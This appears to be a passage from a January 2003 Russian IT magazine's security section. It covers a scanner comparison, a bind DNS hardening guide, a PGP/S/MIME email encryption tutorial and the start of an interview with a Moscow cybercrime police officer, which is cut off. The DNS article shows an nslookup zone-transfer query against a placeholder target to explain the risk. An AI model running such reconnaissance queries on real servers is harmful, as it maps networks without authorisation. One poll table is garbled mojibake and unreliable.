Краткое резюме ISS Internet Scanner – наиболее титулованный представитель в семействе рассматриваемых продуктов – показал себя как всегда на высоком уровне, заняв почетное второе место. LanGuard с натяжкой можно назвать сканером безопасности. Он очень хорошо работает с NetBios, выдавая список ресурсов, сервисов и пользователей. Эта способность сильно отличает сканер от остальных, но вот именно только эта. На этом преимущества LanGuard заканчиваются. ShadowSecurityScanner практически не отстал от ISS. И это при столь большой разнице в их цене. У программы простой интерфейс, похожий на интерфейс сканера Retina. Подробные советы и рекомендации по устранению уязвимостей легко позволяют справиться с проблемами. Минусы: небольшое количество распознаваемых уязвимостей, гораздо большее потребление системных ресурсов при работе по сравнению с другими сканерами. X-Scan – бесплатный сканер, по возможностям похожий на LanGuard, но немного его превосходящий. Минусы: не очень читабельный интерфейс программы, отсутствие каких-либо комментариев про найденные уязвимости. XSpider оказался бесспорным лидером, сильно оторвавшись от конкурентов, особенно при поиске уязвимостей в Windows и Solaris. Есть у XSpider и существенный минус: при выдаче списка уязвимостей выводится очень мало пояснительной информации, что предполагает высокий уровень знаний и профессионализма у специалиста, использующего эту программу. Вероятно, это объясняется тем, что разработчик программы – российская компания Positive Technologies, профессионально специализирующаяся на услугах по обеспечению безопасности компьютерных сетей, делала продукт, исходя из своих внутренних потребностей, и не особенно заботилась о массовом пользователе. Правда, надо отдать ей должное, денег она за свой продукт не просит, что очень приятно, учитывая его отличное качество работы.

Мнение пользователей Недавно стали доступны данные опроса профессиональных пользователей, проведенные сайтом по информационной безопасности SecurityLab.RU, относительно популярности сканеров безопасности (см. http://www.securitylab.ru/

45


безопасность _Services/Vote.asp?Archive=109&Poll_ID=4 ). Нам показалось интересным сравнить результаты этого опроса с объективными данными нашего анализа. Результаты опроса приведены в таблице: Ɍɚɛɥɢɰɚ Ʉɚɤɨɣ ɫɤɚɧɟɪ ɭɹɡɜɢɦɨɫɬɟɣ ɜɵ ɩɪɟɞɩɨɱɢɬɚɟɬɟ ɢɫɩɨɥɶɡɨɜɚɬɶ" ;VSLGHU 6KDGRZ6HFXULW\6FDQHU 1HVVXV 6HFXULW\ 6FDQQHU 5HWLQD ,QWHUQHW 6FDQQHU ,66 &\EHU&RS 6FDQQHU 7\SKRQ ,, 16$7 1 6WHDOWK +DFN6KLOG

Перечень сканеров заметно отличается от протестированных в обзоре, но три ведущих по данным нашего анализа представлены и здесь. Сканер от ISS уступил второе место (видимо, в силу своей высокой цены) ShadowSecurityScaner. На первом же месте остался XSpider, набрав больше очков, чем все конкуренты вместе взятые. Эти данные можно рассматривать как косвенное подтверждение справедливости приведенных выше результатов анализа.

Заключение Подчеркнем еще раз, что в данном материале проводилось сравнение только базовой функциональности сканеров безопасности. За рамками обсуждения остались вопросы, связанные с интерфейсом, удобством работы и дополнительными возможностями. Мы планируем обратиться к ним в одном из следующих материалов.

Ведущий российский портал по информационной безопасности получает поддержку 25 октября 2002 года компания Positive Technologies (www.ptsecurity.ru) заключила договор о сотрудничестве с владельцем портала SecurityLab.ru. В рамках договора Positive Technologies взяла на себя финансирование самого успешного информационно-аналитического интернет-издания в области компьютерной безопасности. За первый год своего существования проект SecurityLab.ru уже доказал свой высокий уровень, став самым посещаемым интернет-изданием в своей области. В то же время дальнейшее развитие проекта требует дополнительных ресурсов и грамотного управления проектом, тематика которого становится все более актуальной в наше беспокойное время. Осознавая это, компания Positive Technologies, специализирующаяся на защите компьютерных сетей от внешних (хакерских) атак, приняла решение оказать

поддержку проекту SecurityLab.ru. Positive Technologies окажет не только финансовую, но и «идеологическую» поддержку проекту. «Работая с клиентами по защите их информационных систем, мы хорошо понимаем их проблемы и потребности. Задача предоставления оперативной и объективной информации о текущем состоянии отрасли компьютерной безопасности, постоянно возникающих угрозах и методах их нейтрализации является очень важной. Мы как коммерческая организация заинтересованы в том, чтобы наши клиенты были максимально грамотны в нашей области и мы могли бы говорить с ними на одном языке. Мы уверены, что проект SecurityLab.ru может успешно решать подобные задачи. Меняя лозунг сайта с «Защита и нападение в сети» на «Защита от нападения в сети», мы подчеркиваем основное направление развития сайта в ближайшее время», – заявил директор Positive Technologies Евгений Киреев.

Адрес проекта: http://www.securitylab.ru Сайт компании Positive Technologies: http://www.ptsecurity.ru E-Mail: info@ptsecurity.ru

46


Посвящается жертвам терактов в Нью-Йорке 11 сентября, 2001 года.

© IGUS


безопасность

МИНИМУМ УСИЛИЙ НА ЗАЩИТУ DNS СЕРГЕЙ РОПЧАН

По статистике (некоторых security teams) из 100 % серверов – 63% работает с неправильно настроенной службой DNS, в контексте сетевой безопасности, конечно. Узнав столь печальную статистику, я решил провести свой собственный анализ. [main.target.com] $ORIGIN target.com. @ 1D IN

c4 admin localhost mail proxy www c1 c2 c3 ns ftp @

И вот что у меня вышло – из 100 серверов, выбранных мною наугад из различных сегментов Интернета, 57 серверов оказались с неправильно настроенной службой имен. Под словом «неправильно» я подразумеваю, например, получение файла пересылки (transfer) зоны (эта информация является наиболее важной в аспекте безопасности DNS), на основе которого, как известно, можно построить схему внутренней сети исследуемой системы, так как мы получаем полную информацию о инфраструктуре внутренней сети (имена хостов, ip-адреса, почтовые сервера, вышестоящие сервера имен, псевдонимы хостов и т. д.). Вот наглядный пример: выбираем цель, например, www.target.ru; как известно, для работы с DNS подходит nslookup, которая входит в состав большинства ОС. Итак: fenix# nslookup Nameserver 192.145.45.1 >server www.target.com >ls -d target.com

и если в ответ мы получаем что-то похожее на:

48

1D 1D 1D 1D 1D 1D 1D 1D 1D 1D 1D 1D 1D 1D 1D

IN IN IN IN IN IN IN 1D IN 1D 1D IN IN IN IN IN IN IN

SOA

ns root ( 2001081109 8H 2H 1W 1D )

;serial ;refresh ;retry ;expiry ;minimum

NS ns NS r1.ns.net. NS r2.ns.com. MX 20 m1.ns.net MX 10 m2.ns.com MX 10 main A 192.5.62.78 IN A 192.5.62.74 A 127.0.0.1 IN CNAME main IN CNAME main CNAME main A 192.5.62.75 A 192.5.62.76 A 192.5.62.77 A 192.5.62.73 CNAME main SOA ns root ( 2001081109 ;serial 8H ;refresh 2H ;retry 1W ;expiry 1D ) ;minimum

(данная информация является файлом пересылки зоны), то это означает, что администратор системы не предпринял никаких усилий, хотя бы минимальных, (которые я опишу в этой статье) для защиты DNS то ли от незнания, то ли от неумения. Но это все неважно, так как речь в этой статье будет идти не о причинах, побудивших или не побудивших администратора к такому безразличию, которое в свою очередь может привести к плачевным результатам. Я хочу попытаться показать, как хотя бы «немного», (если это слово можно считать корректным в контексте сетевой безопасности) защитить свой DNS-cервер. Я ни в коем случае не претендую на полноту изложенной здесь информации, так как этот вопрос требует намного более пристального внимания со стороны администраторов и выходит за пределы этой статьи; более детальную информацию о защите DNS можно получить в списке дополнительных материалов в конце этой статьи. Итак, начнем. Прежде всего следует сказать, что все описанное ниже будет относиться к настройке bind 8.x.x. Работать мы будем непосредственно с файлами конфигурации bind, а если быть точным, то в основном с named.conf (/etc/namedb/named.conf).


безопасность Первое, что необходимо сделать в named.conf – это определить список доступа acl, в который будут входить «доверенные» сети и хосты (так же я советую включить в этот список ip-адреса первичных DNS-серверов, которые делегировали на вас управление каким-либо доменом). Создаем секцию acl в самом начале файла (named.conf):

необходимо в named.conf внести описание зоны bind: zone "bind" chaos { type master; file "primary/bind"; allow-query { trusted }; allow-transfer { none; }; };

и создать, собственно, файл описания зоны: acl "trusted" { localhost; 192.168.3.0; };

таким образом, «доверенными» являются localhost и сеть (192.168.3.0), хосты которой пользуются услугами нашего cервера имен. Далее в секцию options данного файла вносим: options { ... #определения прав доступа по умолчанию allow-query { trusted }; ## разрешить запросы группе ## «доверенных» хостов allow-transfer { none }; ## запретить пересылку ## файла зоны кому-либо allow-recursion { trusted }; ## pазрешить рекурсивные ##запросы группе «доверенных» хостов ... };

Данные директивы определяют поведение bind по умолчанию (запросы разрешены только для «доверенных» хостов, трансфер зон запрещен, рекурсивные запросы разрешены только для «доверенных» хостов), эти директивы можно переопределить для каждой зоны в соответствующей секции zone. Тут я советую следовать такому «правилу»: зонам, для которых наш сервер имен является вторичным (slave), необходимо явно разрешить запросы с любым ip-адресом источника, для первичных зон (master), кроме (0.0.127.in-addr.arpa), дополнительно к этому необходимо разрешить трансфер зонных файлов, то есть вот что у нас выходит: zone "example.com" { type master; file "primary/example.com"; #переопределение прав доступа, заданных по умолчанию в options allow-query { any; }; allow-transfer { localhost; 192.168.3.0; }; В }; zone "3.168.192.in-addr.arpa" { type slave; file "secondary/0.126.in-addr.arpa"; masters { 192.168.3.1; } ; #переопределение прав доступа, заданных по умолчанию в options allow-query { any; }; allow-transfer { localhost; }; }; };

В том случае если ваш сервер является, например, сервером имен (единственным) для локальной сети (intranet), т. е. не является шлюзом во внешний мир, то можно настроить bind таким образом, чтобы он разрешал запросы только с «доверенных» хостов. Для этого

№1(2), январь 2003

$TTL 3600 $ORIGIN bind. @ 1D CHAOS SOA localhost. 1 ;serial 3H ;refresh 1H ;retry 1W ;expire 1D ) ;minimum CHAOS NS localhost/ ;

root.localhost. {

Доступ мы ограничили; я думаю, со мной многие согласятся, что «защита» без ведения логов – это не защита, так как лучше знать своего врага в лицо. Разработчики bind’a позаботились и об этом: существует возможность ведения лог-файлов. Вот основные приемы (создаем новую секцию logging): logging { # определяем канал по умолчанию для ведения # логов запросов к bind’y channel default_ch { file "/var/log/named.log"; serverity info; #уровень важности регистра #ционной информации print-time yes; #регистрировать время print-category yes; #регистрировать категорию }; channel security_ch { #определяем канал для ведения логов по защите file "/var/log/security.log"; serverity info; print-time yes; print-category yes; }; ##инициализация каналов category default { default_ch; }; category security { security_ch; }; };

Вот и все. Как было сказано выше, эта информация не является исчерпывающей по данному воросу, так как полная настройка системы защиты DNS строится на создании для службы DNS chrooted environment, создание для нее sandbox’a и т. д., вплоть до защиты системы в целом.

Рекомендуемые материалы: 1. М. Канавалова. Securing Bind. 2. RFC по DNS. 3. man bind. 4. Criag H. Rowland. Securing Bind.

49


безопасность

ЗАЩИТИМ ЭЛЕКТРОННУЮ ПОЧТУ ! ВСЕВОЛОД СТАХОВ

50


безопасность Электронная почта – это одно из самых популярных средств общения в Cети. Но при всей её привлекательности в обычной схеме – это довольно небезопасная система. Единственной защитой (да и то сомнительной) являются пароли для почтовых ящиков, но почтовые сообщения могут просто подменить или послать от вашего имени. Содержимое сообщений никак не шифруется и может быть прочитано всеми, кто имеет доступ к каналу передачи данного сообщения. Но с недавнего времени электронная почта практически достигла того же уровня, что и бумажная. Электронные сообщения можно подписывать, исключая возможность их изменения. Причём подделать электронную цифровую подпись намного сложнее технически, чем рукописную. В России (и во многих других странах) был даже принят закон, по которому электронная подпись приравнивается к рукописной (хотя в данных законах обязательно оговорён алгоритм подписи, что немного неудобно). Алгоритмы асимметрического шифрования позволяют также не только подписывать сообщения, но и зашифровывать их от постороннего взора. При этом обмен ключами упрощён до минимума: намного удобнее обменяться публичными ключами через Сеть (правда публичный ключ, передаваемый через сеть, должен быть подписан либо комплементарным секретным ключом, либо неким доверенным ключом сторонней организации, но об этом далее), чем париться с симметрическим ключом и передавать его на дискетке, которую потом долго и упорно форматировать. Хотя асимметрическое шифрование медленнее, оно увеличивает размер данных, но если другой человек живёт в какой-нибудь папуасии, а вы – в каком-нибудь Мурманске, то обмен публичными ключами – единственное решение для безопасной переписки. Кроме этого, чем больше людей знает ваш публичный ключ, тем лучше, так как они уже смогут проверять подписанные вами сообщения. Для подтверждения получения именно того публичного ключа, который был отослан, можно использовать метод проверки хешей. Его идея такова: после получения публичного ключа через Сеть, вы звоните отправителю и просите его продиктовать

№1(2), январь 2003

вам его публичный ключ (4096 бит), дружно идёте в известное место и вспоминаете о хешах. Можно просто узнать у него 32-х битный хеш и сравнить с тем, что было получено. Так как у двух разных ключей не может быть одинаковых хешей, можете быть смело уверены, что ключ получен правильный. Такая схема не оставляет никаких шансов злоумышленнику (кроме брутфорса или физического на вас нападения с применением пыток), но несколько проблематична, поэтому используется только в крайних случаях. Итак, хватит теории и перейдём к практике. Я расскажу в данной статье о почтовом клиенте The Bat, системе защиты данных PGP и GnuPG, а также о сертификатах S/MIME. Начнём с The Bat. Данный почтовый клиент имеет отличные возможности по защите вашей корреспонденции. Во-первых, The Bat поддерживает различные средства, позволяющие не передавать пароль почтового ящика в открытом виде, а передавать его MD5 хеш или производить аутентификацию средствами NTLM (для Windows NT серверов), но, к сожалению, безопасная аутентификация POP и SMTP поддерживается далеко не всеми серверами, да и сами сообщения передаются в открытом виде. Поэтому для защиты сообщений используются механизмы PGP и S/ MIME. Первый из них – PGP (pretty good privacy) – служит для подписывания или шифрования почтовых сообщений (вложения не шифруются и не подписываются, для этого существует S/MIME). Данный механизм просто добавляет текстовую ЭЦП в тело сообщения. После этого модификация письма приводит к тому, что подпись становится невалидной (как я уже говорил, подпись – это хеш-функция, и невозможно подобрать два письма с одинаковым хешем (в идеале)). Шифрование сообщения осуществляется на основании генерируемого случайным образом и зашифрованного публичным ключом получателя симметрического ключа, что не очень увеличивает размер письма, особенно если используется сжатие сообщения. Фактически, при шифровании письма размером в 500 байт получилось сообщение в ~800 байт, а при шифровании письма в 24101 байт – 11270 байт (вот

что сжатие животворящее делает)! Из недостатков PGP я заметил лишь один: не умеет оно шифровать и/или подписывать вложения (хотя это тоже легко лечится). Но есть ещё один недостаток PGP – его небесплатность и то, что различные его версии рассчитаны для определённых стран (это связано с законами об ЭЦП, как я уже говорил). Но Bat имеет встроенный алгоритм PGP, соответствующий rfc-1991, и что самое примечательное, он умеет генерировать пары ключей встроенным алгоритмом. Встроенное PGP использует алгоритм IDEA(128 бит) для симметрического шифрования сообщений и MD5 для составления ЭЦП. И что ещё я бы хотел отметить до перехода к непосредственно описанию всего вышесказанного, это что The Bat умеет работать со многими версиями PGP, включая GnuPG(!), которые должны быть установлены, как внешние модули; для выбора версии PGP зайдите в меню «Инструменты-> OpenPGP -> Выбор версии PGP». Теперь я бы хотел подробно описать процесс работы с ключами PGP (для встроенной версии PGP): ! Для начала создадим пару ключей: «Инструменты-> OpenPGP-> Управление ключами», нажать <Ctrl+N> и далее следовать инструкциям по созданию ключей (размер ключа желательно указывать не короче 1024 бит, а лучше, на мой взгляд, не менее 2048 бит). ! Передадим своим собеседникам свой публичный ключ, подписанный секретным (этим мы гарантируем, что ключ был неизменен в ходе передачи через Сеть). Для копирования публичного ключа в буфер обмена заходим в управление ключами, выбираем нужную пару ключей и из выпрыгивающего меню выбираем «копировать». После этого вставляем ключ в сообщение и в редакторе ставим галочки напротив следующих пунктов меню: «Защита -> Подписать перед отправкой» и «Защита -> Авто-PGP». При помещении в папку «Исходящие» будет запрошен пароль секретного ключа и письмо будет подписано. ! Получатель импортирует ваш публичный ключ и с его помощью проверяет ЭЦП вашего сообщения.

51


безопасность

!

Если подпись верна, то ключ также валиден, иначе ваш публичный ключ был изменён и получатель должен его немедленно удалить! Импортировать ключ совсем просто: просто выберите письмо, содержащее ключ, и в меню OpenPGP надавите «Импортировать ключ OpenPGP» (при импорте учтите, что должна быть выбрана та версия PGP, в которой был создан данный публичный ключ). получатель в свою очередь присылает вам свой публичный ключ, подготовленный таким же образом, и у вас оказывается пара ключей, которую можно использовать как для подписывания сообщений, так и для шифрования. Можно также проверить хеш публичного ключа, если вы считаете, что кто-то не спит ночами, чтобы поиметь ваши секретные данные.

Для проверки подписи необходимо нажать клавиши <CTRL+SHIFT +C>, а для расшифровки – <CTRL +SHIFT+D>, при этом учтите, что для проверки подписи вам необходимо иметь публичный ключ отправителя, а для расшифровки – свой секретный ключ. И зашифровав сообщение публичным ключом получателя, вы не сможете расшифровать его сами, так как у вас нет его секретного ключа! Все сообщения PGP имеют схожий формат и представляют из себя простой текст: Публичный ключ: ——BEGIN PGP PUBLIC KEY BLOCK—— Version: 2.6 mQEPAz2wAdcAAAEIAMbtzluSULSrU3X1 qvf9QBeY+VCI7Pe/Wi0eSun8g7do9V0q .... ——END PGP PUBLIC KEY BLOCK——

Электронная цифровая подпись: ——BEGIN PGP SIGNED MESSAGE—— Hash: MD5 ТЕКСТ_СООБЩЕНИЯ ——BEGIN PGP SIGNATURE—— Version: 2.6 iQEVAwUAPcbEbnuMbS82Jh/FAQFWvwf/ aJEiMj/mUPlHzNLIelDMwJZMxK+9UuBL ——END PGP SIGNATURE——

Зашифрованное сообщение: ——BEGIN PGP MESSAGE——Version: 2.6 lIwRIouHmq+nJjsBBEA7FCH1rS6C/ hfi4J1MHN+q/EycFltExRTqjIcOtoiDYNvJ ——END PGP MESSAGE——

Поэтому все операции с PGP являются достаточно прозрачными, так как сама реализация PGP определяет из сообщения всю необходимую информацию. Для разных версий PGP различается только поле Version: и поле Hash: в ЭЦП (выбор алгоритма хеширования, обычно SHA1 (160 бит) или MD5 (128 бит)). Выбор версии PGP должен исходить из того, с какими людьми вы преимущественно общаетесь. До обмена ключами необходимо узнать у собеседника, какой версией PGP располагает он. Думаю, что для The Bat идеально использование встроенного алгоритма PGP а для *nix машин обычно используется GnuPG. Вот о нём-то я и хочу сказать пару слов. GnuPG разрабатывался в противовес коммерческому PGP, и, надо сказать, получился инструмент что надо. GnuPG (www.gnupg.org) представляет из себя утилиту командной строки, обладающей кучей параметров и навороченных фич. Я не буду подробно рассказывать о данной системе, так как на www.gnupg.org есть линк на русскую доку, в кото-

рой всё отлично разжевано. Напишу для лентяев основные принципы использования gnupg. ! gpg —help – получить список всех режимов gnupg (думаю дальше уже просто писать не о чем); ! gpg —gen-key – генерация пары ключей в интерактивном режиме; ! gpg -s -o out_file in_file – подписать(-s) файл in_file ключом по умолчанию о сохранить подписанный файл в out_file; ! gpg —verify signed_file – проверить ЭЦП файла signed_file; ! gpg —export – экспортировать все публичные ключи (вывод в stdout) во внутреннем формате; ! gpg —export —armor – экспортировать все публичные ключи в текстовом формате: ——BEGIN PGP PUBLIC KEY BLOCK—— Version: GnuPG v1.2.1 (Linux),вывод также в stdout; ! gpg —import filenames – импортировать публичные ключи из перечисленных файлов; ! gpg -e -r recipient@mail.ru filename – зашифровать сообщение filename, используя публичный ключ recipient@mail.ru (он должен быть импортирован предыдущей командой). Ключ -e можно комбинировать с ключом -s, тогда зашифрованное сообщение будет также подписано; ! gpg —fingerprint <username> – выводит md5 хеш ключа username (или хеши всех известных ключей, если username не определено). Ещё отмечу, что при экспорте публичного ключа GnuPG генерирует

Для получения «мыльного» сертификата от доверенной организации можно зайти на узел www.thawte.com и запросить бесплатный «мыльный» сертификат(personal freemail certificate). Далее вас попросят пройти здоровую процедуру регистрации, где вы должны ввести свои личные данные. В конце регистрации на ваш e-mail будет послан сабж(mail ping) и вы будете должны пройти по указанной ссылке и ввести две строки, высланные в сабже. После всей этой мороки у вас будет зарегистрированный профиль на сайте(туда вы попадаете автоматически после завершения регистрации), где вы можете запросить сертификат. Учтите, что процедура получения сертификата для разных броузеров различна и вам необходимо выбрать один из поддерживаемых(IE, Netscape, Opera), я бы посоветовал использовать IE, т.к. полученный ослом сертификат помещается в хранилище сертификатов Windows. В ходе получения сертификата в начале вам будет передан публичный сертификат thawte freemail, который вам нужно отнести к доверенным(просто ответьте положительно на вопрос о занесении в Trusted root CA). Далее по мылу будет прислано сообщение об успешной генерации сертификата и опять же надо пройти по ссылке(тем же броузером с той же машины!). Получение сертификата сопровождается кучей подтверждений, но в виде компенсации за мороку будет получен персональный сертификат, подписанный thawte freemail сертификатом. Данный сертификат будет помещён в хранилище винды, и его уже можно будет использовать в Outlook[ Express]е для подписывания и расшифровывания сообщений. Для экспорта данного сертификата в файл заходим в аутглюк, сервис->параметры->безопасность->цифровые удостоверения. Там находим наш сертификат (на вкладке «Личные») и экспортируем его в файл. У меня получилось импортировать этот файл в The Bat и в Mozilla, а также в Оперу, думаю, с этим проблем не возникнет. Замечу, что The Bat нужно сделать ещё пару вещей. The Bat доверять такому сертификату не будет, т.к. подписан он неизвестным ключом. Для устранения этой проблемы делаем следующее: в окне удостоверений Outlook заходим на вкладку «Промежуточные центры сертификации», находим там два сертификата: Thawte Personal Freemail CA и Personal Freemail RSA 2000.x.x. Экспортируем эти сертификаты в файлы, затем создаём в адресной книге вампира Trusted Root CA новый элемент и называем его как-нибудь Thawte personal freemail. Заходим на страницу сертификатов и импортируем эти два сертификта из Outlook. Таким образом, мы внесли сертификаты Thawte Freemail к доверенным. После этого наш персональный сертификат будет действительным, и его можно смело использовать(можете посмотреть путь сертификации: он должен быть примерно таким Thawte Freemail CA -> Personal freemail RSA 2000.x.x -> Thawte Freemail Member).

52


безопасность подписанный комплементарным секретным ключом (self-signed public key) публичный ключ и не импортирует ключей, которые не являются self-signed. Кроме этого, если не указать gnupg опцию —armor (для любых операций), то происходит бинарное шифрование/подписывание и экспорт (в каком-то встроенном формате), что не подходит для пересылки в теле письма или через веб. Поэтому в таких случаях всегда указывайте опцию —armor, что принудит gnupg работать с текстовым форматом PGP (стандартный). Имя получателя (-r) указывает gnupg, какой публичный ключ ей использовать. Имя может быть в нескольких форматах: адрес e-mail, полное имя, идентификатор ключа (краткий или полный), шаблон поиска. Ну вот, с PGP покончили. Теперь я бы хотел рассказать об S/MIME. Это формат, который используется многими почтовыми приложениями (среди них The Bat, Mozilla Messenger, Outlook). S/MIME позволяет шифровать и подписывать почтовые сообщения целиком (т.е. включая вложения) при помощи сертификатов. Сертификат – это набор из секретного ключа (необязательный компонент, имеет смысл только для ваших собственных сертификатов, шифруется паролем – а как же без этого) и публичного ключа, подписанного данным секретным (уф, короче, self-signed). Поэтому при подписи своего сообщения S/MIME сертификатом нет необходимости передавать свой публичный ключ, так как он уже есть в ЭЦП. Вот два удобства, предоставляемые S/MIME, а также удобно то, что S/MIME интегрирован со многими почтовыми клиентами. Вот так примерно выглядит заголовок S/MIME подписанного письма: Content-Type: multipart/signed; protocol=»application/pkcs7-signature»; micalg=sha1; boundary=» —————C61031FF2231ECF0" This is a cryptographically signed message in MIME format. ——————C61031FF2231ECF0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit

№1(2), январь 2003

Текст Письма ——————C61031FF2231ECF0 Content-Type: application/pkcs7-signature; name=»smime.p7s» Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=»smime.p7s» Content-Description: S/MIME Cryptographic Signature MIIFPQYJKoZIhvcNAQcCoIIFLjCCBSoCAQMx CzAJBgUrDgMCGgUAMAsG CSqGSIb3DQEHAaCCAyow ... ——————C61031FF2231ECF0—

В подписи содержится публичный ключ, которым эта подпись проверяется. Данный сертификат также может быть сразу же импортирован. Единственное, что резко испортило мое мнение об S/MIME – это то, что генерировать сертификаты умеет, пожалуй, один The Bat, остальные говорят, что сертификаты можно получить от root ca (корневые центры сертификации). Сертификаты The Bat могут спокойно импортироваться любой программой, поддерживающей S/MIME, если эти сертификаты не содержат секретного ключа. Все мои попытки импортировать последние завершились зависанием или «неизвестной» ошибкой (думаю, что это от того, что The Bat использует собственную реализацию S/MIME ни с чем не совместимую на уровне секретных ключей). Поэтому я ограничусь рассказом про The Bat (в других мейлерах всё сделано по тому же принципу, разве что называется по-другому). Для начала зайдём в «Настройки->S/MIME», там выберем внутреннюю реализацию S/MIME, алгоритм симметрического шифрования и алгоритм хеширования (тут на ваше усмотрение). После этого заходим в свойства нужного почтового ящика на закладк у «Общие», давим кнопк у «Cертификаты» и там видим потрясающее пустое окно. Создаём сертификат волшебной кнопкой «Cоздать» и дальше следуйте инструкциям. Появился сертификат, который является опасным по умолчанию. Ага, как же, дважды щёлкаем по нему мышой и добавляем к trusted ca. После чего сертификат окрашивается в радостный зелёный цвет и им можно подписать письмо хоть Папе Римскому. Для импорта чужого сертификата необходимо проделать с ним такие же действия, после чего эти сертификаты зано-

сятся в адресную книгу «trusted root ca». При получении письма с сертификатом значок в поле вложений указывает на проверку сертификата (обратите внимание на его цвет, форму, попробуйте дважды щёлкнуть мышой или попытайтесь его импортировать). Думаю, что использование S/MIME для написания собственных писем не должно вызвать затруднений. Просто в редакторе The Bat сбросьте галочку «Защита -> Авто OpenPGP» и установите «Защита -> Авто S/MIME». Дальше всё как в OpenPGP. Ещё полезно установить галочку компрессии в опциях S/MIME, иначе шифрование увеличивает размер сообщения гдето в 2 раза (при ключе длиной 2048 бит и алгоритме IDEA – 128 бит). Вообще, по-моему, оптимально использовать The Bat с OpenPGP (внутренней или gnupg, для последней надо прописать путь к исполняемому файлу gpg.exe в PATH). Хотя использование сертификатов тоже не составляет никаких проблем, я, честно говоря, больше предпочитаю OpenPGP, так как генерация ключей намного проще в исполнении, чем получение сертификатов (если использовать мейлер, который эти сертификаты делать сам не умеет). Опять же это только моё мнение... Всем пользователям Win* я советую использовать The Bat или gnupg, а всем пользователям *nix – gnupg. Эти две программы решат все ваши проблемы безопасной почты (хотя ещё неплохо бы найти мыльный сервер с безопасной передачей паролей). Привожу список сайтов, содержащих полезную информацию по данной теме: ! www.nobat.ru – неофициальный сайт The Bat; ! www.gnupg.org – официальный сайт gnupg; ! www.ritlabs.com – официальный сайт The Bat (а всё-таки вампира написали наши программеры – честь им и хвала); ! certs.netscape.com – список корневых центров сертификации, где можно получить сертификат. Ну, вот и всё!

53


безопасность

КИБЕРКОП, ИЛИ КОНЕЦ ВИРТУАЛЬНОГО МИРА Управление «Р» (управление по борьбе с преступлениями в сфере высоких технологий) ГУВД Москвы немножко виртуально и загадочно даже по своей штаб-квартире. Снаружи в этом доме вроде бы два этажа, а управление базируется на третьем. Вот так и в остальном – их работа пока невидима глазу большинства людей. Невидима, но крайне важна. Был уже восьмой час вечера. В каб и н е т е н ач а л ь н и к а о тд е л а п о борьбе с компьютерными преступлениями Александра Слуцкого обсуждались детали завтрашнего «оперативного мероприятия». Собирались брать матерого хакера. Когда детали завтрашнего рейда, намеченного, между прочим, на 6 утра, были согласованы, Александр Сергеевич извинился, достал из сумки котлету и начал устало ее поглощать. «Вы меня извините, я еще не завтракал». Собственно, я и сам уже понял, что работа самого интеллектуального «хакерского» отдела не сахар.

54

– Александр Сергеевич, все знают, что ваше управление занимается хакерами. Вы можете мне в двух словах объяснить, кто это такие? – Легко. Если вдаваться в этимологию слова «хакер», слово, безусловно, английское, имеет очень древние корни, это староанглийский язык. Произошло оно от слова «хек» – значит рубить. Хакерами в древней Англии называли очень хороших плотников, которые работали с деревом и могли при минимуме инструментов делать из него все что угодно. Потом это слово как-то перешло в компьютерную среду. Правда, есть еще и второе мнение, альтернативное.

Когда появились первые ЭВМ, они программировались перфокартами. Тогда все было очень просто, программирование шло на языке машинных кодов, которые составлялись в двоичной системе из нулей и единиц. Если в перфокарте дырка – это единица, контакты через нее замыкаются, нет – значит ноль. Так вот, эти перфокарты при работе издавали такой характерный клацающий звук, похожий на этот «хек». Хотя слово есть, а кого им называть – все равно непонятно. Я лично хакерами называю, как это принято в странах Запада, тех, кто в совершенстве знает компьютер. Тех, кто с помощью


безопасность этих знаний совершает преступления, я так и называю: преступниками, злоумышленниками. Поэтому ярлык не нужно вешать на всех голословно. Слесарь тоже может отмычки делать для сейфов, но мы же не называем всех слесарей медвежатниками! – Понятно. Кстати, а про себя Вы можете сказать, что в совершенстве знаете компьютер? – Нет, про себя не могу. Конечно, разбираюсь, но не в совершенстве. – А в отделе есть такие люди? – Нет. И слава богу. Дело в том, что я по роду деятельности хорошо знаком с теми людьми, которых называют компьютерными «гуру». Эти люди просто не смогут работать у нас. Поймите, технические знания у нас вторичны. Здесь в первую очередь нужна оперативная милицейская работа: выезды, задержания, слежка и пр. А хакер – человек, который живет в виртуальном мире. Он там живет почти весь. Для него компьютер – это все, реальной жизни вокруг для него как бы не существует. И ему часто начинает казаться, что реальный мир может жить по его виртуальным законам. У хакеров своя психология. Это так же как в каратэ: свое учение, своя вера, свои знания… А знания цвета не имеют, их можно употребить и во зло, и во благо. Все зависит не от самого знания, а от того, как его используют. Когда у человека происходит процесс познания компьютера, он почти всегда проходит через эту вредоносную стадию. Для кого-то это просто этап в развитии, а кто-то на нем застревает. Ведь почему люди начали писать вирусы? Изначально, на заре появления электронно-вычислительной техники, их очень много писали, причем писали советские программисты, из соцлагеря. Почему? Вирус – это очень интересная программа, она должна быть очень маленького размера, при этом совершать множество действий: маскироваться, саморазмножаться, что-то делать. На заре ЭВМ, когда еще была система ДОС, их писали на машинном языке, в двоичных кодах, которые сейчас 99% программистов не знают, и укладывали все в 300 – 500 байт. Люди просто решали сложную творческую задачу и совершенно не собирались делать кому-то гадости.

№1(2), январь 2003

Кстати, в Америке подобной романтики почему-то не было и качественной школы программистов там так и не сложилось. Почему в США наши программисты пользуются таким бешеным спросом? Потому что они творчески умеют решать любые задачи. – Кстати, а когда у нас было совершено первое компьютерное преступление? История зафиксировала? – Наверное, да. Хотя здесь нелегко определять. Первые серьезные мошенничества были в банках, тамошние программисты пользовались тем, что их работа была для простого человека абсолютно недоступна и непонятна. Можно было набить простенькую программу и шуровать. Мошенничества были даже в Госбанке СССР. В 1991 году тамошний программист внес в программу подсчета платежей крохотное изменение. При подсчетах стал отбрасываться хвостик – одна десятитысячная копейки. И все, что было за этим «хвостиком», уходило на другой счет. Его личный. Но что значит одна десятитысячная при обороте Госбанка СССР? Огромные деньги, общая сумма хищения была несколько миллионов полновесных советских рублей! Специальных «компьютерных» статей тогда еще не было, к нему применили распространенное «мошенничество». И только при разработке нового кодекса, не без нашей помощи, законодатели поняли, что возникла еще одна очень интересная категория, которую нужно защищать. Это информация. – Информация – штука больно виртуальная. Ее, в отличие от имущества, трудно руками пощупать. – Правильно, из-за этого у нас сейчас много споров и трудностей. Ведь в статьях УК, посвященных этому виду преступлений, написано, что преступлением является «неправомерное обращение с информацией». Которое, кстати, может не нести никакого материального ущерба. По крайней мере, прямого и явного. А у нас, если нет никаких вредных последствий, нет и преступления. «Неточность» подобной формулировки стала ясна, когда в 1999-м году произошло ЧП во Владивостоке, в родильном отделении больницы. Дежурный по системе поддержания 